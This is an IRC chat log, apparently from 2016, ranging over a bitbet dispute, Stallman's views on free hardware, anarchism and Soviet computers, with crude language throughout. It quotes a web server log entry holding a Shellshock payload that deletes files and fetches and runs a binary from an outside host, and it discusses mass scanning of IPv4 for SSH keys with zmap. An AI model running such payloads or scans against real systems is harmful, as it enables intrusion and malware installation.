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asciilifeform: BingoBoingo: ever been phriends with both pieces of a divorce ?
shinohai: akward.jpg
mircea_popescu: http://btcbase.org/log/2016-05-20#1469949 << that part was handled by davout ; i'm pretty sure he got his half from him ; in any case davour charged it against me in the final settlement, and i dun expect he didn't remit it.☝︎
a111: Logged on 2016-05-20 22:31 asciilifeform: and now we learn... he's not ?
mircea_popescu: and hate dun enter into it. derp's been making outright false, marginally false and otherwise tendentious statements since just about the day it became clear the oh-so-genius plan won't catch. i see no merit in it and reason to entertain them.
asciilifeform: which plan
mircea_popescu: http://btcbase.org/log/2016-05-20#1469916☝︎
a111: Logged on 2016-05-20 21:56 mircea_popescu: then in the unwarranted assumption that mp actually needs the piddly 1k btc held for bitbet, they tried to use whatever loose assemblage of assets to force mp to recant de facto. which idem backfired spectacularly when mp not only failed to recant as intended, but pissed with a large arch on the whole proposition, and cut out with hot irons anything that may even remotely resemble.
asciilifeform: mircea_popescu tellin' me that kako betrayed ze motherland ?!
mircea_popescu: so far i'm telling you he's been banned from mpex upon http://fr.anco.is/2016/bitbet-proposed-settlement-transaction#comment-8579 and from #trilema upon http://btcbase.org/log/2016-05-20#1469922☝︎
a111: Logged on 2016-05-20 22:01 mircea_popescu: that'll be all.
asciilifeform: and, afaik, first to publicly have this 'honour'
mircea_popescu: possibly.
mircea_popescu: hm, no, actually there was a derp that managed to exploit some timing issue early on.
asciilifeform: interesting - this was in dark age pre-l0gz ?
mircea_popescu: possibly, yeah. well, not pre-logs, but pre-what's public now i think.
asciilifeform: did the banned fella kick up a stink ?
mircea_popescu: actually there might have been a coupla more publicly known of people with compromised keys
mircea_popescu: i imagine must've.
asciilifeform: how does one know that a fella has compromised key ?
asciilifeform: (other than by pwning him personally)
mircea_popescu: "one" doesn't know much.
asciilifeform: i can picture the symptoms though.
asciilifeform: in other 'nyooz', guess who ~doesn't~ run winblowz: https://russiamil.wordpress.com/2011/06/02/valdai-club-3-touring-the-don-2n-radar-facility
asciilifeform: (linked primarily for the console photo)
asciilifeform: reportedly thing is plugged into a real live 'elbrus-2'.
asciilifeform: circa '77.
mircea_popescu: you know still couldn't locate any of them things...
asciilifeform: well they only made, iirc, 200 'elbrus-2' (which were cray-2 sized and shaped)
mircea_popescu: no i meant the modern ones.
asciilifeform: ah
mircea_popescu: it's been half a fucking year or what.
asciilifeform: yeah i suspect that none were sold to humans.
mircea_popescu: im not atm persuaded they exist more than "bfl delivery" existed back in the bitbet bet days.
mircea_popescu: ie, someone somewhere might have received a prototype.
asciilifeform: most ru wunderwaffen happen in individually numbered prototypes.
mircea_popescu: yeah well, i'm not THAT curious about them.
mircea_popescu: asciilifeform incidentally, you ever made any sense of the rms notion that "free hardware" is nothing like "free software" ?
asciilifeform: mircea_popescu: very pointedly not
asciilifeform: it struck me as pure 'delusionist'
asciilifeform: and i think i frothed about it here even.
asciilifeform: (but possibly not)
mircea_popescu: they always puzzled me, these inconsistent derps. jimbo wales thinks he's a "libertarian", and "objectivist". one that somehow thinks corporate spying is bad, but "the government should put as many cameras up as possible - they'd prevent crimes".
mircea_popescu: it's mindboggling.
asciilifeform: folks who paint themselves into a logical corner tend to do this.
mircea_popescu: why not just you know, review thew priors. LIKE SANE FUCKING PEOPLE.
mircea_popescu: if anything, free hardware is more important/useful/valuable than free software, because i've busted open way more programs than chips.
asciilifeform: yeah well. the time to review the priors is before you box yourself in
mircea_popescu: no ; then you don't yet know. the time to review is when you notice the walls.
asciilifeform: but it is worth remembering that rms began his thing in a time when hardware was rare and precious
asciilifeform: and generally one had to swallow what was on the plate.
mircea_popescu: anyway - same with music, because "it's not meant for use, but for appreciation". it's a fucking lasagna, what the fuck does this man actually believe ?
asciilifeform: (and, also not irrelevant, it was generally sane)
mircea_popescu: any program i ever cared about enough to bust open was meant for appreciation. such as fucking civ ffs.
mircea_popescu: does a conference a week since 1995, hasn't yet explained the difference between things "not meant for practical use" and the rest. wtf is impractical use.
mircea_popescu: motherfucker...
mircea_popescu: see, now THIS i hate.
asciilifeform: wai wut where is the 'practical use' line from
mircea_popescu: $google "I think all works meant for practical uses must be free, but that does not apply to music, since music is meant for appreciation, not for practical use."
deedbot: No results.
mircea_popescu: yeah im sure.
mircea_popescu: $google megaupload stallman comments
deedbot: No results.
mircea_popescu shrugs
asciilifeform: i'm beginning to remember this tho
asciilifeform: 'Printer patterns to make a useful, practical object (i.e., functional rather than decorative) must be free because they are works made for practical use. '
mircea_popescu: http://stallman.org/archives/2011-nov-feb.html#22_January_2012_%28Megaupload%29
asciilifeform: ( http://www.wired.com/2015/03/need-free-digital-hardware-designs )
mircea_popescu: what is the difference between http://66.media.tumblr.com/c407c30b01293c9ff352c63a7b5bddf5/tumblr_n4yj3752Wj1s8fyi8o1_1280.jpg (dressed for appreciation) and http://67.media.tumblr.com/566f03f4f3eedef6a9b03decd8443885/tumblr_n2cb74nquJ1solxm8o1_400.gif (practical use) ?
mircea_popescu: same fucking cunt omfg.
mircea_popescu: is it the thickness of the baseball penisbat ?
asciilifeform: there is this thing,
asciilifeform: where fella decides he 'believes' x,y,z but is not intellectually up to the task of systematizing
asciilifeform: and ends up with 'for practical use...' poppycock
mircea_popescu: this is not belief. this is an uppity ronin slave.
asciilifeform: it is always quite painful to watch.
mircea_popescu: it's unpleasant to watch in a context where the others say anything but "hey, you're having these problems because you're an uppity ronin slave. how about you drop the aferations and go follow a master."
asciilifeform: why would a successful (in the financial own-legs sense) heresiarch 'go follow a master' ?
mircea_popescu: because not intellectually up to the task of not following.
asciilifeform: wake me up when anybody anywhere performs this type of seppuku.
mircea_popescu: why the fuck does the rich guy go to church.
asciilifeform: to pick up chix?
mircea_popescu: same fucking reason the poor guy goes : cuz he can't make sense of the world around him
asciilifeform: (iirc it was why dan mocsny went)
mircea_popescu: in which we find aferation is not an english word. a well. it denotes one who appears to have a lot to do / be in the thick of things / busy, but really just pretending. a george costanza of sorts.
asciilifeform: next we find that aferist is not english word!!?
asciilifeform: (google claims it translates 'swindler')
mircea_popescu: anyway, tongue in cheek evolution of latin affero.
mircea_popescu: $google tits cunt fuck piss shit motherfucker cocksucker
deedbot: No results.
mircea_popescu: oh you gotta be fucking kidding me
mircea_popescu: $google no results
asciilifeform: i think it croaked long ago
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asciilifeform: hm
mircea_popescu: there's soemthing wrong with longer lines i think
mircea_popescu: $google tits
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mircea_popescu: $google cunt tits
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mircea_popescu: weird.
asciilifeform: quite
mircea_popescu: in any case, even the proposition that somehow "use" is good while "enjoyment" bad, first to be supported off public tolerance, mandated ; latter to be punished stinks to high heavens of outright evil protestantism bullshit.
asciilifeform: mircea_popescu: iirc it was some variation of 'you don't need to know how magic trick works'
mircea_popescu: sure, sure. and why do i need to know how the gcc trick works.
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Framedragger: mircea_popescu: (got 2768 ssh-rsa keys on a test run on a populated /16... this will be fun.)
mircea_popescu: win!
mircea_popescu: ahahaha BingoBoingo
mircea_popescu: Framedragger how long did covering the /16 take ?
asciilifeform: one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee
Framedragger: mircea_popescu: with timeout per host set to 5sec (default) and unaltered parallel scanning setting (ssh-keyscan does parallel stuff pretty well but it may not be best for scanning huge numbers of hosts; case in point: default version for ubuntu 14.04 terminates if a single remote host closes conn prematurely - needed to patch this..), it took ~65 minutes (i've started logging timestamps afterwards but this is prob quite accurate). this
Framedragger: this was using single machine only - scanning with two now, will add third one when i have a few min. but yeah it's overall slow i guess you could say
Framedragger: (irc msg maxlen is 512 chars right?)
mircea_popescu: ahahahaha nice. gord frw.
mircea_popescu: ;;calc 2 ** 16 * 65 / 60 / 24 / 365
gribble: 8.10471841705
mircea_popescu: 8 years on a single machine. what were you running, aws ?
Framedragger: i'm considering running zmap on high-throughput server to quickly get all internet-connected machines in ipv4 space, and then feeding that into ssh-keyscan. may be more efficient. also need to get some disposable ip addresses or something, cause according to internet my coupla server IPs will soon be added to some shitlist
mircea_popescu: eh i got 100s.
Framedragger: no just a server with probably 50 mbps good uplink
asciilifeform: that there's the general minus of scanning
Framedragger: yeah i may set up some aws nodes
asciilifeform: the ip becomes ~useless for any other use
mircea_popescu: please do a different /16 on an aws just to get a handle on how much it costs.
Framedragger: k i'll try and do that (a bit later)
mircea_popescu: asciilifeform you know i don't understand, wtf aren't they making pastries this way! at first i thought that's dough on her tits for sure... but no, just paint ?
asciilifeform: that was my first thought !
mircea_popescu: wtf what a waste. titpressed titcakes! wants!
asciilifeform: caeks!
Framedragger remembers he has a disposable tor exit node on digitalocean, can use that one
mircea_popescu: Framedragger tor is uselessly slow
Framedragger: nono, i just mean, i can just use that particular machine for dirty work, cause i can't use that ip for other purposes anyway, it's tainted
Framedragger: but yeah need to think of bigger scales here.. short-term aws/azure farms, whatnot
mircea_popescu: just to eval it. in general the zmap idea is right and proper.
Framedragger: "With [... some custom] changes, ZMap can comprehensively scan for a single TCP port across the entire public IPv4 address space [on a 10Gbps pipe, looks like] in 4.5 minutes given adequate upstream bandwidth." https://www.usenix.org/system/files/conference/woot14/woot14-adrian.pdf - not bad
mircea_popescu: aha. it's rapid yeah
mircea_popescu: the only problem is, i'd expect you will receive ~1/3 of the address space as hits.
mircea_popescu: billionish machines.
Framedragger: something something avoids having to take care of timeouts (is stateless) by putting custom info in packets / "SYN cookies" something
Framedragger: mewonders
mircea_popescu: check it out asciilifeform , there's not even as many computers as there are people and they're already beating us in go :D
Framedragger: someone published survey results
asciilifeform: lel
mircea_popescu: oppressed fucking minority.
asciilifeform: mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic
Framedragger: 2012: http://internetcensus2012.bitbucket.org/paper.html
Framedragger: shitloads of webcams, "secure" printers etc (of course)
mircea_popescu: dun matter does it
asciilifeform: Framedragger: this is in the old logz
Framedragger: oh. figures...
mircea_popescu: lol
Framedragger: man i need some tool which autosearches from logs while i type in irc
mircea_popescu: write it!
mircea_popescu: not a bad idea either, as a plugin.
asciilifeform: a working $s would be almost as good
mircea_popescu: they're workin' on it.
Framedragger: wonder if whole log would become references to itself, il n'y a pas de hors-texte and all that
Framedragger: hm true...
mircea_popescu: Framedragger pretty much there already.
Framedragger: yah
mircea_popescu: it's just that the majority of computer folk are uncouth and didn't read their linguistics and semiology.
mircea_popescu: which is shameful, really, seeing how ITS THE OTHER FUCKING COMPILER.
mircea_popescu: pretending to have a cs program that's all linguistics-free seems to me the height of ignoramity, but whatevs.
Framedragger: yeah i can't hold interesting convos with these cs people for long sometimes, it's like, fuck you humanity you suck
Framedragger: no but for real. thing is, cs folk usually haven't even read their own "definitive" texts (shannon, e.g.)
mircea_popescu: yes, alf bitching about this is in the logs :)
Framedragger: ...
mircea_popescu: lmao
asciilifeform: in what universe does it make sense to regard the imbeciles as 'cs folks' ?
mircea_popescu: asciilifeform hey, they got a cert.
Framedragger: well i did use "folks" which isn't a word from the most high register so to speak :)
Framedragger: butyeah
asciilifeform: what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ?
mircea_popescu: aha!
Framedragger: 'the fucking witch deserved it'
mircea_popescu: part of the history of medicine, like it or not, mr progress.
asciilifeform: sure but if he lives today ?
mircea_popescu: but there is no yesterday of computing!
mircea_popescu: it all happened in a blink of a slow blinking eye!
asciilifeform: there was a pretty sharp transition from, e.g., mccarthy to jwz
Framedragger: you're still using $framework? GO BACK TO YER CAVE
mircea_popescu: slow blinking eye!
asciilifeform: more of a puckering sphincter
mircea_popescu: lmao omfg. dude published the 2012 census with a pgp (v2.0!) 1kb rsa key ; and he claims to be inspired by... XKCD!!! to do a fucking hilbert curve. omfg the unit-square covering discussions were all in vain, xkcd is the source.
Framedragger: didyouknow, someone wrote a graphing library which mimicks xkcd graph style. iirc it's actually quite nice, insofar as hipster things can be nice. shitlikethat...
mircea_popescu: obligatory http://trilema.com/xkcd
Framedragger: yeah seen it, heh
mircea_popescu: ah ? well then.
Framedragger: by all means, keep reinforcing the "nothing outside the text" notion ! but yeah, good to revisit
Framedragger: [dodges the "that's not the proper translation" discussion]
mircea_popescu: per the drunken walk model, once you're hitting sqrt(1) of references in cache you've read enough :D
Framedragger: hehehe
mircea_popescu: and in other lulz, http://imgur.com/gallery/nbtVT
asciilifeform doesn't get it
mircea_popescu: psychotic face contortions
asciilifeform: in other nyooz,
asciilifeform: 198.55.114.155 - - [21/May/2016:16:49:40 +0000] "GET / HTTP/1.1" 200 1101 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/
asciilifeform: bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-"
mircea_popescu: da fuck is this
asciilifeform: pretty obvious, neh ?
asciilifeform: the real mega-question is ~where~ this worx
mircea_popescu: no ? someone trying to pipe bash through apache ?
asciilifeform: aha
mircea_popescu: check it out, it's like 1990 in china.
asciilifeform: the lulzy bit is that the thing hosting the dropper is dead.
mircea_popescu: are youy calling it with wget ?
asciilifeform: curl
mircea_popescu: well, maybe it detects.
asciilifeform: wget same.
mircea_popescu: who the fuck uses wget instead of curl anyway, you know ?
asciilifeform: box is stone dead.
mircea_popescu: "here's the archive tool and here's the single url tool, i know, i'll use them backwards!"
mircea_popescu: for that matter, why's he not using pastebin or w/e.
asciilifeform: in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg
mircea_popescu: "safeauto's do the jingle makes insurance advertising fun" ?
asciilifeform: i have nfi
mircea_popescu: http://memecrunch.com/meme/35KRI/ford-owners-be-like/image.jpg
Framedragger: mircea_popescu: to get list of machines listening on port 22 using zmap on amazon aws micro instance with 100 mbps pipe, it takes approx 9-10 minutes per /16. note, only what's listening on port 22, but ssh-keyscan should then plough through pretty quickly. will later run more tests, i'll leave a single instance to scan some /16s to then feed into ssh-keyscan
mircea_popescu: yeah but what's the bill
Framedragger: i mean, i'm using some sort of free tier now, lols. should be cheap..
mircea_popescu: ah cool then
Framedragger: i'll let you know once some data is gathered
mircea_popescu: that's what needed testing.
Framedragger: they'll start charging for bandwidth sooner or later
Framedragger: i understand
Framedragger: gon take some time to even start incurring cost tho
mircea_popescu: eh, nmap takes 50bytes/try or such
mircea_popescu: anyway, so if you spun up 1k aws micros the whole thing could be done in ~a day.
Framedragger: (ah it seems zmap's saturated the 100mbps pipe quite efficiently. yeah will let you know re. cost, prob sooner than expected heh)
Framedragger: fo sho
mircea_popescu: asciilifeform ^ see ? leverage increase. do this in 1996.
asciilifeform: if anything, it was ~more~ doable in '96, nobody ipbanned
asciilifeform: nor did the folks you got the t1 from give half a fuck what you did with it
mircea_popescu: gawd you're hard.
mircea_popescu: this is like "it was way easier to do astronomy in 2016 bc, not nearly as much atmospheric pollution" "nor did anyone have any glass" "fu, i had glass!"
asciilifeform: moar like 1880.
mircea_popescu: re-reading durkeim it becomes obvious that a) omfg socialists everywhere, what the FUCK is it with this "we're all one" pov already! and b) being an anarchist is ~= being a bleating idiot ; what a man's supposed to be is an anomist.
asciilifeform: diff anarchist anomist ?
mircea_popescu: anarchist === socialist, with the added flavouring of putting the rejection of hierarchy socially above economically, politically or otherwise.
asciilifeform: on what planet ?
asciilifeform: how does one 'socialist' without statism
mircea_popescu: (the "peace movement"/"modern democracy" flavour puts the political one first, and is the more fashionable today. communism puts the economical first, as per ziggler & co. used to be most fashionable)
mircea_popescu: whereas anomist = one who rejects the regulatory role of society.
mircea_popescu: asciilifeform anarchists are not against statism per se.
asciilifeform: mircea_popescu must've read a very different set of anarchists than asciilifeform
mircea_popescu: they're against the "repressive" ie, educational state. but otherwise, the state must be there for anarchy to exist.
mircea_popescu: asciilifeform or maybe mircea_popescu reads beyond what people like to pretend they're saying into what they're actually saying!
asciilifeform: show me where 'the state must exist' in, e.g., kropotkin
mircea_popescu: any portion in particulare ?
asciilifeform: anywhere !
mircea_popescu: what promotes the "voluntary cooperation" ?
mircea_popescu: suppose i dun wanna cooperate. what now ?
asciilifeform: live with wolf ?
mircea_popescu: kropotkin's necessary state is imported as this cvasi-mystical "all men must x y z and will so!"
mircea_popescu: "and if they don't ?" "uh."
asciilifeform: if they don't, they fight - where's the enigma here
mircea_popescu: well im no kropotkin specialist myself, but i'm unaware of him putting war as a legitimate human endeavour.
mircea_popescu: anyway, in the general - whenever ideologue makes presuposition as to what humans are, or do, or will be or will do, he's therefore and by that an etatist.
asciilifeform: i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not
mircea_popescu: but we're discussing kropotkin the anarchist, not war the phenomenon.
mircea_popescu: unless your fellow said himself "and if they don't, they fight and whoever wins was right", he's what i say not what you say.
asciilifeform: not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war.
mircea_popescu: no, it's because they need a very specific sort of mommy that's yet in short supply.
asciilifeform: waiwut
mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked.
asciilifeform: is this isomorphic to the swedish fishermen thing ?
mircea_popescu: ie, they need a sort of state like the wasp's parents. dead corpse to be eaten. still etatist though.
mircea_popescu: just, a different kind of state.
asciilifeform: how 'anarchic' was their flavour
mircea_popescu: it could well be, yeah. quite, neh ?
asciilifeform: not so much - their villages were miniature totalitarian monstrosities in themselves
asciilifeform: afaik
mircea_popescu: of course. socialism is socialism is socialism.
mircea_popescu: turd flavourer how it may be flavoured is turd by mass.
mircea_popescu: anyway, the trick of pretending one's own flavour of state is "merely human nature" is, i suppose, pretty effectual. also quite old, karl ziggler / friedrich carnegey did it too!
mircea_popescu: might have been zigg marx/dale engels, i always get obscure american self-help / weight loss / aluminum siding & friendmaking authors mixed up.
mircea_popescu: asciilifeform the trick, generally, of passing one for another is visible throughout the nigger career, whichever nigger one might pick. so kropotkin studied cooperation in nature ; which is fine, and observed that it plays a role, which is true. fuck, tmsr is pretty heavy on cooperation also. aaaaaaand then... the sleigh of hand. really, there should be no preferential distribution ? what the shit. and of course, the pious f
mircea_popescu: raud throughout - really, unsociable species are doomed to decay ? if only we decayed as much as the scorpions did in their lengthy existence. they've stayed viable apex predators in their niche for longer than humans likely will.
Framedragger: approx 4.2 GB of bandwidth used for 14.6k sshd-running IPs, hit rate ~= 0.02% (these are rather random, not guaranteed-to-be-used (only definitely not in reserved blocks) subnets it's possible zmap just doesn't flush to file that often at all - will check later wtf's happening). $0.155 per GB of bandwidth (first 15 GB free). running for 72 min
mircea_popescu: ;;calc 2**32 / 14600 * 0.0002 * 4.2 * 0.155
gribble: 38.3016946534
mircea_popescu: so forty bucks gets the internet, more or less.
Framedragger: when i was walking outside thinking of $ i got a similar figure in mind - lower bound maybe $30 and upper maybe $70, but prob $/GB rate was off in my mind
Framedragger: so yeah
mircea_popescu: alrightey
Framedragger will one day attempt to participate in such discussion, anomism, hmm...
Framedragger: (that zmap paper matches this estimate btw - 4.5min was it - 10gbps pipe - lessay 1GiB/s for 270sec => 270GiB; vs 2^32 / 14600 * 0.0002 * 4.2 = 247GiB)
mircea_popescu: word
asciilifeform: meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg
mircea_popescu: ahahaha
mircea_popescu: great cat lol
mircea_popescu: ima bbl.
trinque: asciilifeform │ if they don't, they fight - where's the enigma here << and then they fight, and someone wins, and someone's dominant, and whoops what happened to anarchy
trinque: that cat is wondering when you're going to stop tapping oddly on that desk and catch a damn bird
trinque: bet he's even brought you half-dead ones trying to teach!
trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using
trinque: unlimited bandwidth can be had for $notmuch
trinque: homeboy over there has even hooked me up with free KVM access as a favor
asciilifeform: trinque: cat is wild.
jurov: how the saying goes... early cat gets the bird
asciilifeform: in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://btcbase.org/log/2016-03-12#1430996☝︎
a111: Logged on 2016-03-12 00:40 mircea_popescu: (actually, amusingly enough, swift docs date from just about the era ada was fashionable. there was such a time - just like that time in the 90s when everyone was eager to implement linux-y things and you didn't really have to sell it at all, whole cities just switched for no reason)
shinohai: https://twitter.com/HardBTC/status/734093829901541376 "
shinohai: Almost there, @StartJOIN pitch almost ready, an Open Source PGP digital Key signing tool that we're after funding to add new features"
asciilifeform: 'PGP digital Key signing tool' ??
asciilifeform: i can almost hear the indian accent
shinohai: lolz
shinohai: The advent of paywalled applications, where new features can only be added with crowdfunded blockchainz
mircea_popescu: asciilifeform speaking of anarchists, it occurs to me the comic you linked a while back is a fine example. the girl in there is an out and out anarchist. she requires, for her anarchism, the cartoonist to draw the nonsense she lives in ; or if out of meta, for someone to create all the items she uses and then stay out of her way.
mircea_popescu: by and large, anarchism is this aspiration to absentee parents.
asciilifeform: wai which
mircea_popescu: some murderer for hire something
asciilifeform: ah, 'captain estar'
mircea_popescu: living in a thoroughly alienated world where hit targets were SO ALONE they actually were you know, a sort of crumb.
asciilifeform: but ~all cartoon characters can only live in the paper
asciilifeform: sorta what makes it what it is, neh?
mircea_popescu: yes, but some are more like superman, ie, roosevelt socialist ; and some others more like national socialist.
mircea_popescu: this is anarchist-socialist.
asciilifeform: here is the question that itches me:
asciilifeform: how cheap the energy before it is 'socialist herring' ?
asciilifeform: as in http://btcbase.org/log/2016-05-21#1470228☝︎
a111: Logged on 2016-05-21 18:14 mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked.
mircea_popescu: i dun think it is a matter of energy.
asciilifeform: how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ?
asciilifeform: or 'throw rock at deer and eat phreeee meat'
mircea_popescu: see, here's the catch : the value of walmart today.
asciilifeform: seems like a difference of degree
asciilifeform: rather than kind
mircea_popescu: after a generation of that, the value of walmart would equalize and we'd have a rehash of actual society.
mircea_popescu: socialism is the equivalent of grain : may only exist after cataclysm.
asciilifeform: equalize as in, spent ?
mircea_popescu: as in "no longer socially meaningful"
mircea_popescu: like jeans in russia. who's gonna suck your cock for a pair now?
asciilifeform: so - spent
mircea_popescu: in that sense, yes. not physically spent, but psychologically spent
asciilifeform: so mircea_popescu is of ye olde 'banana makes africans stupid' school ?
mircea_popescu: yes.
asciilifeform: as in, 'too cheap to meter' (tm) (r) morally corroding.
mircea_popescu: note that the higher energy output of rice vs wheat has created ... larger azn cities. that's all.
mircea_popescu: population grows, technology does not.
asciilifeform: iirc we actually have pretty good records of cn ~prior to rice~
asciilifeform: but i have nfi what is in them.
mircea_popescu: sure.
mircea_popescu: so to come full circle : the items of interest in (the otherwise very on point) question "how cheap energy before it is scania herring" are cheap and herring ; not energy - that is always as cheaper as it always is, slightly more expensive as newton's death approaches.
mircea_popescu: the social notion of cheapness and the individual notion of herring however fluctuate.
asciilifeform: elaborate plox ?
asciilifeform: the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar
mircea_popescu: the tsar impedance mismatch created communism, ie, eco-first socialism ; the ww1 shock created national-socialism, ie, "we're all equal except for those schmucks" - and perhaps noteworthy here that the nazis couldn't quite decide if they're enumerating badness or goodness or what. but the idea was, "socialism within the bubble"
asciilifeform: and 'humans are every bit as stupid as bacteria"
mircea_popescu: and the moore law (pars pro toto, it's really starting with steel) catastrophe created the roosevelt socialism, aka "modern democracy" / "human rights" / "peace movement" etc.
mircea_popescu: but outside of catastrophe, socialism fares as well as wheat. birch forest is the stable solution, not fucking wheat field.
asciilifeform: birch is terrible example
asciilifeform: it is the closest thing to wheat among trees
mircea_popescu: which is why the state-volcano, or state-plow or state-something is always needed
asciilifeform: hence why ru is full of'em
mircea_popescu: beech not birch. wtf is it called.
mircea_popescu off to review botanics now
asciilifeform: where the villages burned - there are now birches.
asciilifeform: (in western eu - poppies)
asciilifeform: this is a fairly broad category
mircea_popescu: fagus. beech.
mircea_popescu: varies with the zone, but anyway.
asciilifeform: thing about nature is that nobody promised anyone a single equilibrium point
asciilifeform: beech can stand for 1,001 years, or burn overnight.
asciilifeform: if gets lucky.
mircea_popescu: BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway.
mircea_popescu: fucking derps using my first name. to quote, "have we fucked ?"
mircea_popescu: asciilifeform and once it burns, blueberry move in, then birch, then beech again.
mircea_popescu: birch seed can not grow under the shade of adult birch trees. beech seed can. that's all the difference.
mircea_popescu: socialist spawn can't fucking live in socialist world, c'est tout.
asciilifeform: mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went.
asciilifeform: most pertinently, 'Получается в лучших традициях Советского Союза: машина есть, цена есть, купить нельзя.'
mircea_popescu: lol
asciilifeform: https://geektimes.ru/post/270382 << someone actually dug up, reviewed
mircea_popescu: well... maybe in time.
asciilifeform: megatonnes of old-school 'seals', 'tamper' whatevrthefucks
shinohai: https://steemit.com/girlsgonesteem-nsfw/@steempower/welcome-to-girls-gone-steem#comments <<< the logo even looks like a turd. "steem"
asciilifeform: ;;later tell mircea_popescu growing 8ball installed. it will take several days for it to exceed the size of the old 8ball tho. however, it auto-saves and resumes in case of reboot, etc.
gribble: The operation succeeded.
BingoBoingo: <mircea_popescu> BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. << If they wanna write the steps are available. Dun see the point of the kink exchange